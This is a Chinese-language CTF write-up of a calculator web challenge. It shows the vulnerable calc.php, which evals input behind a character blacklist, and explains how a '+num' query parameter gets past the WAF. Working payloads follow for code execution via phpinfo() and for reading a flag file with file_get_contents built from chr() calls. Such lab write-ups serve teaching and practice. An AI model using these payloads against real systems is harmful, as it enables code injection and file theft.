题目一打开,是一个计算器。
主页源代码如下,这里可以看到有一个 calc.php
文件,并且提示存在 WAF(疑)。
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
访问 calc.php
如下,可以看到过滤了很多字符。
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
在 $num
中输入非数字,则会提示 403
,判断可能是 WAF
拦截,猜测 WAF
是通过检测变量 $num
是否为数字来决定是否返回 403
。因此,利用 PHP 的字符串解析特性来绕过检测。
PHP 的字符串解析特性
PHP
将查询字符串(在URL
或正文中)转换为内部$_GET
或关联数组$_POST
。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。
例如:
/?foo=bar
变成Array([foo]=>"bar")
。
/? foo=bar
变成Array([foo]=>"bar")
。 # 注意,?
号后有一个空格。
/?+foo=bar
变成Array([foo]=>"bar")
。 # 注意,?
号后有一个+
号。
因此,Payload:/calc.php?+num=phpinfo()
即可执行 phpinfo()
函数。
随后,使用 var_dump()
函数、scandir()
函数、file_get_contents()
函数即可读取到 flag
,Payload:/calc.php?+num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
。